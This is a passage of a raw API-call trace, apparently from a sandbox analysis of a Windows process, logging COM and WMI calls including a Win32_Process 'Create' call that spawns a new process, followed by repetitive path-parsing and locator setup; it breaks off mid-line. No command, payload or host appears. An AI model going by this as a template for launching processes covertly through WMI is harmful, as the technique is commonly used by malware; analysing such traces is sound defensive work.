[0089.532] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0089.532] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0530, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0089.532] IWbemServices:ExecMethod (in: This=0x1bf538a0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf468d0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf46b80, ppCallResult=0x0) returned 0x0 [0089.685] IWbemClassObject:Get (in: This=0x1bf46b80, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a098a8*=0, plFlavor=0x2a098ac*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x950, varVal2=0x0), pType=0x2a098a8*=19, plFlavor=0x2a098ac*=0) returned 0x0 [0089.685] IWbemClassObject:Get (in: This=0x1bf46b80, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a098a8*=19, plFlavor=0x2a098ac*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x950, varVal2=0x0), pType=0x2a098a8*=19, plFlavor=0x2a098ac*=0) returned 0x0 [0089.685] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0089.686] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0089.686] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0089.686] IUnknown:Release (This=0x111f638) returned 0x1 [0089.687] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c000d20) returned 0x0 [0089.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000d20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0089.688] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000d20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119bde0) returned 0x0 [0089.688] WbemDefPath:IUnknown:Release (This=0x1c000d20) returned 0x0 [0089.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119bde0) returned 0x0 [0089.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0089.688] WbemDefPath:IUnknown:AddRef (This=0x119bde0) returned 0x3 [0089.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0089.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0089.688] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c000d60) returned 0x0 [0089.688] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000d60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.688] WbemDefPath:IUnknown:Release (This=0x1c000d60) returned 0x3 [0089.688] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0089.689] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0089.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0089.689] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x2 [0089.689] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x1 [0089.689] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0089.689] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0089.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bde0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119bde0) returned 0x0 [0089.689] WbemDefPath:IUnknown:AddRef (This=0x119bde0) returned 0x3 [0089.689] WbemDefPath:IUnknown:Release (This=0x119bde0) returned 0x2 [0089.689] WbemDefPath:IWbemPath:SetText (This=0x119bde0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0089.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bde0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0089.689] WbemDefPath:IWbemPath:GetText (in: This=0x119bde0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0089.689] WbemDefPath:IWbemPath:GetText (in: This=0x119bde0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0089.689] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bde0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0089.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bde0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0089.689] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bde0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0089.689] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0089.689] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0089.689] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0089.689] IUnknown:Release (This=0x111f638) returned 0x1 [0089.693] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c000c60) returned 0x0 [0089.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000c60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0089.693] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000c60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119ba20) returned 0x0 [0089.693] WbemDefPath:IUnknown:Release (This=0x1c000c60) returned 0x0 [0089.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119ba20) returned 0x0 [0089.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0089.693] WbemDefPath:IUnknown:AddRef (This=0x119ba20) returned 0x3 [0089.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0089.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0089.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c000ce0) returned 0x0 [0089.693] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000ce0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.693] WbemDefPath:IUnknown:Release (This=0x1c000ce0) returned 0x3 [0089.693] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0089.694] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0089.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0089.694] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x2 [0089.694] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x1 [0089.694] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0089.694] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0089.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ba20, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119ba20) returned 0x0 [0089.694] WbemDefPath:IUnknown:AddRef (This=0x119ba20) returned 0x3 [0089.694] WbemDefPath:IUnknown:Release (This=0x119ba20) returned 0x2 [0089.694] WbemDefPath:IWbemPath:SetText (This=0x119ba20, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetText (in: This=0x119ba20, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetInfo (in: This=0x119ba20, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetInfo (in: This=0x119ba20, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ba20, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0089.694] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.694] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0089.694] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0089.694] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0089.694] IUnknown:Release (This=0x111f638) returned 0x1 [0089.696] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c000c00) returned 0x0 [0089.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000c00, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0089.696] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000c00, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119c3e0) returned 0x0 [0089.696] WbemDefPath:IUnknown:Release (This=0x1c000c00) returned 0x0 [0089.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119c3e0) returned 0x0 [0089.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0089.697] WbemDefPath:IUnknown:AddRef (This=0x119c3e0) returned 0x3 [0089.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0089.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0089.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c000be0) returned 0x0 [0089.697] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c000be0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.697] WbemDefPath:IUnknown:Release (This=0x1c000be0) returned 0x3 [0089.697] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0089.697] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0089.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0089.697] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x2 [0089.697] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x1 [0089.697] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0089.697] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0089.697] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119c3e0) returned 0x0 [0089.697] WbemDefPath:IUnknown:AddRef (This=0x119c3e0) returned 0x3 [0089.697] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x2 [0089.697] WbemDefPath:IWbemPath:SetText (This=0x119c3e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0089.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c3e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0089.697] WbemDefPath:IWbemPath:GetText (in: This=0x119c3e0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0089.697] WbemDefPath:IWbemPath:GetText (in: This=0x119c3e0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.698] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0089.698] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0089.698] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0089.698] IUnknown:Release (This=0x111f638) returned 0x1 [0089.698] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c0009e0) returned 0x0 [0089.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0009e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0089.699] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0009e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c000a00) returned 0x0 [0089.699] WbemLocator:IUnknown:Release (This=0x1c0009e0) returned 0x0 [0089.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000a00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c000a00) returned 0x0 [0089.699] WbemLocator:IUnknown:QueryInterface (in: This=0x1c000a00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 